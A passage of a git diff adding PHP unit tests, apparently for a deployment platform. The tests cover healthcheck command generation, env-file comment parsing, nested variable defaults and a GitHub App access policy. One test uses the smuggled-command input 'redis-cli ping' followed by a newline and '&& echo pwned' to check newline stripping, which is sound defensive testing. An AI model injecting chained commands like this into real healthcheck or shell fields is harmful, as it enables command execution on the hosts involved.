'my-app.localhost', + 'health_check_method' => 'GET', + 'health_check_scheme' => 'https', + 'health_check_path' => '/api/v1/health', + 'health_check_port' => 8080, + ], + [ + 'health_check_host' => $rules['health_check_host'], + 'health_check_method' => $rules['health_check_method'], + 'health_check_scheme' => $rules['health_check_scheme'], + 'health_check_path' => $rules['health_check_path'], + 'health_check_port' => $rules['health_check_port'], + ] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('generates CMD healthcheck command directly', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'pg_isready -U postgres', + ]); + + expect($result)->toBe('pg_isready -U postgres'); +}); + +it('strips newlines from CMD healthcheck command', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => "redis-cli ping\n&& echo pwned", + ]); + + expect($result)->not->toContain("\n") + ->and($result)->toBe('redis-cli ping && echo pwned'); +}); + +it('falls back to HTTP healthcheck when CMD type has empty command', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => '', + ]); + + // Should fall through to HTTP path + expect($result)->toContain('curl -s -X'); +}); + +it('validates healthCheckCommand rejects strings over 1000 characters', function () { + $rules = [ + 'healthCheckCommand' => 'nullable|string|max:1000', + ]; + + $validator = Validator::make( + ['healthCheckCommand' => str_repeat('a', 1001)], + $rules + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates healthCheckCommand accepts strings under 1000 characters', function () { + $rules = [ + 'healthCheckCommand' => 'nullable|string|max:1000', + ]; + + $validator = Validator::make( + ['healthCheckCommand' => 'pg_isready -U postgres'], + $rules + ); + + expect($validator->fails())->toBeFalse(); +}); + +/** + * Helper: Invokes the private generate_healthcheck_commands() method via reflection. + */ +function callGenerateHealthcheckCommands(array $overrides = []): string +{ + $defaults = [ + 'health_check_type' => 'http', + 'health_check_command' => null, + 'health_check_method' => 'GET', + 'health_check_scheme' => 'http', + 'health_check_host' => 'localhost', + 'health_check_port' => null, + 'health_check_path' => '/', + 'ports_exposes' => '80', + ]; + + $values = array_merge($defaults, $overrides); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']); + $application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']); + $application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']); + $application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']); + $application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']); + $application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']); + $application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']); + $application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes'])); + $application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks'); + + $settings = Mockery::mock(ApplicationSetting::class)->makePartial(); + $settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false); + $application->shouldReceive('getAttribute')->with('settings')->andReturn($settings); + + $deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial(); + + $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial(); + + $reflection = new ReflectionClass($job); + + $appProp = $reflection->getProperty('application'); + $appProp->setAccessible(true); + $appProp->setValue($job, $application); + + $method = $reflection->getMethod('generate_healthcheck_commands'); + $method->setAccessible(true); + + return $method->invoke($job); +} diff --git a/tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php b/tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php new file mode 100644 index 000000000..546e24a97 --- /dev/null +++ b/tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php @@ -0,0 +1,121 @@ + ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => 'This is a comment'], + 'KEY3' => ['value' => 'value3', 'comment' => null], + ]; + + // Test the extraction logic + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction + expect($value)->toBeString(); + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); + + if ($key === 'KEY1') { + expect($value)->toBe('value1'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY2') { + expect($value)->toBe('value2'); + expect($comment)->toBe('This is a comment'); + } elseif ($key === 'KEY3') { + expect($value)->toBe('value3'); + expect($comment)->toBeNull(); + } + } +}); + +test('DockerCompose handles plain string format gracefully', function () { + // Simulate a scenario where parseEnvFormatToArray might return plain strings + // (for backward compatibility or edge cases) + $variables = [ + 'KEY1' => 'value1', + 'KEY2' => 'value2', + 'KEY3' => 'value3', + ]; + + // Test the extraction logic + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction + expect($value)->toBeString(); + expect($comment)->toBeNull(); + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); + } +}); + +test('DockerCompose handles mixed array and string formats', function () { + // Simulate a mixed scenario (unlikely but possible) + $variables = [ + 'KEY1' => ['value' => 'value1', 'comment' => 'comment1'], + 'KEY2' => 'value2', // Plain string + 'KEY3' => ['value' => 'value3', 'comment' => null], + 'KEY4' => 'value4', // Plain string + ]; + + // Test the extraction logic + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction + expect($value)->toBeString(); + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3', 'KEY4']); + + if ($key === 'KEY1') { + expect($value)->toBe('value1'); + expect($comment)->toBe('comment1'); + } elseif ($key === 'KEY2') { + expect($value)->toBe('value2'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY3') { + expect($value)->toBe('value3'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY4') { + expect($value)->toBe('value4'); + expect($comment)->toBeNull(); + } + } +}); + +test('DockerCompose handles empty array values gracefully', function () { + // Simulate edge case with incomplete array structure + $variables = [ + 'KEY1' => ['value' => 'value1'], // Missing 'comment' key + 'KEY2' => ['comment' => 'comment2'], // Missing 'value' key (edge case) + 'KEY3' => [], // Empty array (edge case) + ]; + + // Test the extraction logic with improved fallback + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction doesn't crash + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); + + if ($key === 'KEY1') { + expect($value)->toBe('value1'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY2') { + // If 'value' is missing, fallback to empty string (not the whole array) + expect($value)->toBe(''); + expect($comment)->toBe('comment2'); + } elseif ($key === 'KEY3') { + // If both are missing, fallback to empty string (not empty array) + expect($value)->toBe(''); + expect($comment)->toBeNull(); + } + } +}); diff --git a/tests/Unit/NestedEnvironmentVariableParsingTest.php b/tests/Unit/NestedEnvironmentVariableParsingTest.php new file mode 100644 index 000000000..65e8738cc --- /dev/null +++ b/tests/Unit/NestedEnvironmentVariableParsingTest.php @@ -0,0 +1,220 @@ +not->toBeNull() + ->and($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api'); + + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split)->not->toBeNull() + ->and($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api'); +}); + +test('replaceVariables correctly extracts nested variable content', function () { + // Before the fix, this would incorrectly extract only up to the first closing brace + $result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}'); + + // Should extract the full content, not just "${API_URL:-${SERVICE_URL_YOLO" + expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api') + ->and($result->value())->not->toBe('API_URL:-${SERVICE_URL_YOLO'); // Not truncated +}); + +test('nested defaults with path concatenation work', function () { + $input = '${REDIS_URL:-${SERVICE_URL_REDIS}/db/0}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('REDIS_URL') + ->and($split['default'])->toBe('${SERVICE_URL_REDIS}/db/0'); +}); + +test('deeply nested variables are handled', function () { + // Three levels of nesting + $input = '${A:-${B:-${C}}}'; + + $result = extractBalancedBraceContent($input, 0); + + expect($result['content'])->toBe('A:-${B:-${C}}'); + + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('A') + ->and($split['default'])->toBe('${B:-${C}}'); +}); + +test('multiple nested variables in default value', function () { + // Default value contains multiple variable references + $input = '${API:-${SERVICE_URL}:${SERVICE_PORT}/api}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('API') + ->and($split['default'])->toBe('${SERVICE_URL}:${SERVICE_PORT}/api'); +}); + +test('nested variables with different operators', function () { + // Nested variable uses different operator + $input = '${API_URL:-${SERVICE_URL?error message}/api}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL?error message}/api'); +}); + +test('backward compatibility with simple variables', function () { + // Simple variable without nesting should still work + $input = '${VAR}'; + + $result = replaceVariables($input); + + expect($result->value())->toBe('VAR'); +}); + +test('backward compatibility with single-level defaults', function () { + // Single-level default without nesting + $input = '${VAR:-default_value}'; + + $result = replaceVariables($input); + + expect($result->value())->toBe('VAR:-default_value'); + + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['variable'])->toBe('VAR') + ->and($split['default'])->toBe('default_value'); +}); + +test('backward compatibility with dash operator', function () { + $input = '${VAR-default}'; + + $result = replaceVariables($input); + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['operator'])->toBe('-'); +}); + +test('backward compatibility with colon question operator', function () { + $input = '${VAR:?error message}'; + + $result = replaceVariables($input); + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['operator'])->toBe(':?') + ->and($split['default'])->toBe('error message'); +}); + +test('backward compatibility with question operator', function () { + $input = '${VAR?error}'; + + $result = replaceVariables($input); + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['operator'])->toBe('?') + ->and($split['default'])->toBe('error'); +}); + +test('SERVICE_URL magic variables in nested defaults', function () { + // Real-world scenario: SERVICE_URL_* magic variable used in nested default + $input = '${DATABASE_URL:-${SERVICE_URL_POSTGRES}/mydb}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('DATABASE_URL') + ->and($split['default'])->toBe('${SERVICE_URL_POSTGRES}/mydb'); + + // Extract the nested SERVICE_URL variable + $nestedResult = extractBalancedBraceContent($split['default'], 0); + + expect($nestedResult['content'])->toBe('SERVICE_URL_POSTGRES'); +}); + +test('SERVICE_FQDN magic variables in nested defaults', function () { + $input = '${API_HOST:-${SERVICE_FQDN_API}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${SERVICE_FQDN_API}'); + + $nestedResult = extractBalancedBraceContent($split['default'], 0); + + expect($nestedResult['content'])->toBe('SERVICE_FQDN_API'); +}); + +test('complex real-world example', function () { + // Complex real-world scenario from the bug report + $input = '${API_URL:-${SERVICE_URL_YOLO}/api}'; + + // Step 1: Extract outer variable content + $result = extractBalancedBraceContent($input, 0); + expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api'); + + // Step 2: Split on operator + $split = splitOnOperatorOutsideNested($result['content']); + expect($split['variable'])->toBe('API_URL'); + expect($split['operator'])->toBe(':-'); + expect($split['default'])->toBe('${SERVICE_URL_YOLO}/api'); + + // Step 3: Extract nested variable + $nestedResult = extractBalancedBraceContent($split['default'], 0); + expect($nestedResult['content'])->toBe('SERVICE_URL_YOLO'); + + // This verifies that: + // 1. API_URL should be created with value "${SERVICE_URL_YOLO}/api" + // 2. SERVICE_URL_YOLO should be recognized and created as magic variable +}); + +test('empty nested default values', function () { + $input = '${VAR:-${NESTED:-}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${NESTED:-}'); + + $nestedResult = extractBalancedBraceContent($split['default'], 0); + $nestedSplit = splitOnOperatorOutsideNested($nestedResult['content']); + + expect($nestedSplit['default'])->toBe(''); +}); + +test('nested variables with complex paths', function () { + $input = '${CONFIG_URL:-${SERVICE_URL_CONFIG}/v2/config.json}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${SERVICE_URL_CONFIG}/v2/config.json'); +}); + +test('operator precedence with nesting', function () { + // The first :- at depth 0 should be used, not the one inside nested braces + $input = '${A:-${B:-default}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + // Should split on first :- (at depth 0) + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:-default}'); // Not split here +}); diff --git a/tests/Unit/NestedEnvironmentVariableTest.php b/tests/Unit/NestedEnvironmentVariableTest.php new file mode 100644 index 000000000..81b440927 --- /dev/null +++ b/tests/Unit/NestedEnvironmentVariableTest.php @@ -0,0 +1,207 @@ +toBe('VAR') + ->and($result['start'])->toBe(1) + ->and($result['end'])->toBe(5); +}); + +test('extractBalancedBraceContent handles nested braces', function () { + $result = extractBalancedBraceContent('${API_URL:-${SERVICE_URL_YOLO}/api}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api') + ->and($result['start'])->toBe(1) + ->and($result['end'])->toBe(34); // Position of closing } +}); + +test('extractBalancedBraceContent handles triple nesting', function () { + $result = extractBalancedBraceContent('${A:-${B:-${C}}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('A:-${B:-${C}}'); +}); + +test('extractBalancedBraceContent returns null for unbalanced braces', function () { + $result = extractBalancedBraceContent('${VAR', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null when no braces', function () { + $result = extractBalancedBraceContent('VAR', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent handles startPos parameter', function () { + $result = extractBalancedBraceContent('foo ${VAR} bar', 4); + + assertNotNull($result); + expect($result['content'])->toBe('VAR') + ->and($result['start'])->toBe(5) + ->and($result['end'])->toBe(9); +}); + +test('splitOnOperatorOutsideNested splits on :- operator', function () { + $split = splitOnOperatorOutsideNested('API_URL:-default_value'); + + assertNotNull($split); + expect($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('default_value'); +}); + +test('splitOnOperatorOutsideNested handles nested defaults', function () { + $split = splitOnOperatorOutsideNested('API_URL:-${SERVICE_URL_YOLO}/api'); + + assertNotNull($split); + expect($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api'); +}); + +test('splitOnOperatorOutsideNested handles dash operator', function () { + $split = splitOnOperatorOutsideNested('VAR-default'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe('-') + ->and($split['default'])->toBe('default'); +}); + +test('splitOnOperatorOutsideNested handles colon question operator', function () { + $split = splitOnOperatorOutsideNested('VAR:?error message'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe(':?') + ->and($split['default'])->toBe('error message'); +}); + +test('splitOnOperatorOutsideNested handles question operator', function () { + $split = splitOnOperatorOutsideNested('VAR?error'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe('?') + ->and($split['default'])->toBe('error'); +}); + +test('splitOnOperatorOutsideNested returns null for simple variable', function () { + $split = splitOnOperatorOutsideNested('SIMPLE_VAR'); + + assertNull($split); +}); + +test('splitOnOperatorOutsideNested ignores operators inside nested braces', function () { + $split = splitOnOperatorOutsideNested('A:-${B:-default}'); + + assertNotNull($split); + // Should split on first :- (outside nested braces), not the one inside ${B:-default} + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:-default}'); +}); + +test('replaceVariables handles simple variable', function () { + $result = replaceVariables('${VAR}'); + + expect($result->value())->toBe('VAR'); +}); + +test('replaceVariables handles nested expressions', function () { + $result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}'); + + expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api'); +}); + +test('replaceVariables handles variable with default', function () { + $result = replaceVariables('${API_URL:-http://localhost}'); + + expect($result->value())->toBe('API_URL:-http://localhost'); +}); + +test('replaceVariables returns unchanged for non-variable string', function () { + $result = replaceVariables('not_a_variable'); + + expect($result->value())->toBe('not_a_variable'); +}); + +test('replaceVariables handles triple nesting', function () { + $result = replaceVariables('${A:-${B:-${C}}}'); + + expect($result->value())->toBe('A:-${B:-${C}}'); +}); + +test('replaceVariables fallback works for malformed input', function () { + // When braces are unbalanced, it falls back to old behavior + $result = replaceVariables('${VAR'); + + // Old behavior would extract everything before first } + // But since there's no }, it will extract 'VAR' (removing ${) + expect($result->value())->toContain('VAR'); +}); + +test('extractBalancedBraceContent handles complex nested expression', function () { + $result = extractBalancedBraceContent('${API:-${SERVICE_URL}/api/v${VERSION:-1}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('API:-${SERVICE_URL}/api/v${VERSION:-1}'); +}); + +test('splitOnOperatorOutsideNested handles complex nested expression', function () { + $split = splitOnOperatorOutsideNested('API:-${SERVICE_URL}/api/v${VERSION:-1}'); + + assertNotNull($split); + expect($split['variable'])->toBe('API') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL}/api/v${VERSION:-1}'); +}); + +test('extractBalancedBraceContent finds second variable in string', function () { + $str = '${VAR1} and ${VAR2}'; + + // First variable + $result1 = extractBalancedBraceContent($str, 0); + assertNotNull($result1); + expect($result1['content'])->toBe('VAR1'); + + // Second variable + $result2 = extractBalancedBraceContent($str, $result1['end'] + 1); + assertNotNull($result2); + expect($result2['content'])->toBe('VAR2'); +}); + +test('replaceVariables handles empty default value', function () { + $result = replaceVariables('${VAR:-}'); + + expect($result->value())->toBe('VAR:-'); +}); + +test('splitOnOperatorOutsideNested handles empty default value', function () { + $split = splitOnOperatorOutsideNested('VAR:-'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe(''); +}); + +test('replaceVariables handles brace format without dollar sign', function () { + // This format is used by the regex capture group in magic variable detection + $result = replaceVariables('{SERVICE_URL_YOLO}'); + expect($result->value())->toBe('SERVICE_URL_YOLO'); +}); + +test('replaceVariables handles truncated brace format', function () { + // When regex captures {VAR from a larger expression, no closing brace + $result = replaceVariables('{API_URL'); + expect($result->value())->toBe('API_URL'); +}); diff --git a/tests/Unit/ParseEnvFormatToArrayTest.php b/tests/Unit/ParseEnvFormatToArrayTest.php new file mode 100644 index 000000000..303ff007d --- /dev/null +++ b/tests/Unit/ParseEnvFormatToArrayTest.php @@ -0,0 +1,248 @@ +toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray strips inline comments from unquoted values', function () { + $input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'NIXPACKS_NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'], + 'NODE_VERSION' => ['value' => '22', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray strips inline comments only when preceded by whitespace', function () { + $input = "KEY1=value1#nocomment\nKEY2=value2 #comment\nKEY3=value3 # comment with spaces"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1#nocomment', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => 'comment'], + 'KEY3' => ['value' => 'value3', 'comment' => 'comment with spaces'], + ]); +}); + +test('parseEnvFormatToArray preserves # in quoted values', function () { + $input = "KEY1=\"value with # hash\"\nKEY2='another # hash'"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value with # hash', 'comment' => null], + 'KEY2' => ['value' => 'another # hash', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles quoted values correctly', function () { + $input = "KEY1=\"quoted value\"\nKEY2='single quoted'"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'quoted value', 'comment' => null], + 'KEY2' => ['value' => 'single quoted', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray skips comment lines', function () { + $input = "# This is a comment\nKEY1=value1\n# Another comment\nKEY2=value2"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray skips empty lines', function () { + $input = "KEY1=value1\n\nKEY2=value2\n\n"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles values with equals signs', function () { + $input = 'KEY1=value=with=equals'; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value=with=equals', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles empty values', function () { + $input = "KEY1=\nKEY2=value"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => '', 'comment' => null], + 'KEY2' => ['value' => 'value', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles complex real-world example', function () { + $input = <<<'ENV' +# Database Configuration +DB_HOST=localhost +DB_PORT=5432 #default postgres port +DB_NAME="my_database" +DB_PASSWORD='p@ssw0rd#123' + +# API Keys +API_KEY=abc123 # Production key +SECRET_KEY=xyz789 +ENV; + + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'DB_HOST' => ['value' => 'localhost', 'comment' => null], + 'DB_PORT' => ['value' => '5432', 'comment' => 'default postgres port'], + 'DB_NAME' => ['value' => 'my_database', 'comment' => null], + 'DB_PASSWORD' => ['value' => 'p@ssw0rd#123', 'comment' => null], + 'API_KEY' => ['value' => 'abc123', 'comment' => 'Production key'], + 'SECRET_KEY' => ['value' => 'xyz789', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles the original bug scenario', function () { + $input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22"; + $result = parseEnvFormatToArray($input); + + // The value should be "22", not "22 #needed for now" + expect($result['NIXPACKS_NODE_VERSION']['value'])->toBe('22'); + expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('#'); + expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('needed'); + // And the comment should be extracted + expect($result['NIXPACKS_NODE_VERSION']['comment'])->toBe('needed for now'); +}); + +test('parseEnvFormatToArray handles quoted strings with spaces before hash', function () { + $input = "KEY1=\"value with spaces\" #comment\nKEY2=\"another value\""; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value with spaces', 'comment' => 'comment'], + 'KEY2' => ['value' => 'another value', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles unquoted values with multiple hash symbols', function () { + $input = "KEY1=value1#not#comment\nKEY2=value2 # comment # with # hashes"; + $result = parseEnvFormatToArray($input); + + // KEY1: no space before #, so entire value is kept + // KEY2: space before first #, so everything from first space+# is stripped + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1#not#comment', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => 'comment # with # hashes'], + ]); +}); + +test('parseEnvFormatToArray handles quoted values containing hash symbols at various positions', function () { + $input = "KEY1=\"#starts with hash\"\nKEY2=\"hash # in middle\"\nKEY3=\"ends with hash#\""; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => '#starts with hash', 'comment' => null], + 'KEY2' => ['value' => 'hash # in middle', 'comment' => null], + 'KEY3' => ['value' => 'ends with hash#', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray trims whitespace before comments', function () { + $input = "KEY1=value1 #comment\nKEY2=value2\t#comment with tab"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => 'comment'], + 'KEY2' => ['value' => 'value2', 'comment' => 'comment with tab'], + ]); + // Values should not have trailing spaces + expect($result['KEY1']['value'])->not->toEndWith(' '); + expect($result['KEY2']['value'])->not->toEndWith("\t"); +}); + +test('parseEnvFormatToArray preserves hash in passwords without spaces', function () { + $input = "PASSWORD=pass#word123\nAPI_KEY=abc#def#ghi"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'PASSWORD' => ['value' => 'pass#word123', 'comment' => null], + 'API_KEY' => ['value' => 'abc#def#ghi', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray strips comments with space before hash', function () { + $input = "PASSWORD=passw0rd #this is secure\nNODE_VERSION=22 #needed for now"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'PASSWORD' => ['value' => 'passw0rd', 'comment' => 'this is secure'], + 'NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'], + ]); +}); + +test('parseEnvFormatToArray extracts comments from quoted values followed by comments', function () { + $input = "KEY1=\"value\" #comment after quote\nKEY2='value' #another comment"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value', 'comment' => 'comment after quote'], + 'KEY2' => ['value' => 'value', 'comment' => 'another comment'], + ]); +}); + +test('parseEnvFormatToArray handles empty comments', function () { + $input = "KEY1=value #\nKEY2=value # "; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value', 'comment' => null], + 'KEY2' => ['value' => 'value', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray extracts multi-word comments', function () { + $input = 'DATABASE_URL=postgres://localhost #this is the database connection string for production'; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'DATABASE_URL' => ['value' => 'postgres://localhost', 'comment' => 'this is the database connection string for production'], + ]); +}); + +test('parseEnvFormatToArray handles mixed quoted and unquoted with comments', function () { + $input = "UNQUOTED=value1 #comment1\nDOUBLE=\"value2\" #comment2\nSINGLE='value3' #comment3"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'UNQUOTED' => ['value' => 'value1', 'comment' => 'comment1'], + 'DOUBLE' => ['value' => 'value2', 'comment' => 'comment2'], + 'SINGLE' => ['value' => 'value3', 'comment' => 'comment3'], + ]); +}); + +test('parseEnvFormatToArray handles the user reported case ASD=asd #asdfgg', function () { + $input = 'ASD=asd #asdfgg'; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'ASD' => ['value' => 'asd', 'comment' => 'asdfgg'], + ]); + + // Specifically verify the comment is extracted + expect($result['ASD']['value'])->toBe('asd'); + expect($result['ASD']['comment'])->toBe('asdfgg'); + expect($result['ASD']['comment'])->not->toBeNull(); +}); diff --git a/tests/Unit/Policies/GithubAppPolicyTest.php b/tests/Unit/Policies/GithubAppPolicyTest.php new file mode 100644 index 000000000..55ba7f3d3 --- /dev/null +++ b/tests/Unit/Policies/GithubAppPolicyTest.php @@ -0,0 +1,227 @@ +makePartial(); + + $policy = new GithubAppPolicy; + expect($policy->viewAny($user))->toBeTrue(); +}); + +it('allows any user to view system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->view($user, $model))->toBeTrue(); +}); + +it('allows team member to view non-system-wide github app', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->view($user, $model))->toBeTrue(); +}); + +it('denies non-team member to view non-system-wide github app', function () { + $teams = collect([ + (object) ['id' => 2, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->view($user, $model))->toBeFalse(); +}); + +it('allows admin to create github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(true); + + $policy = new GithubAppPolicy; + expect($policy->create($user))->toBeTrue(); +}); + +it('denies non-admin to create github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(false); + + $policy = new GithubAppPolicy; + expect($policy->create($user))->toBeFalse(); +}); + +it('allows user with system access to update system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + 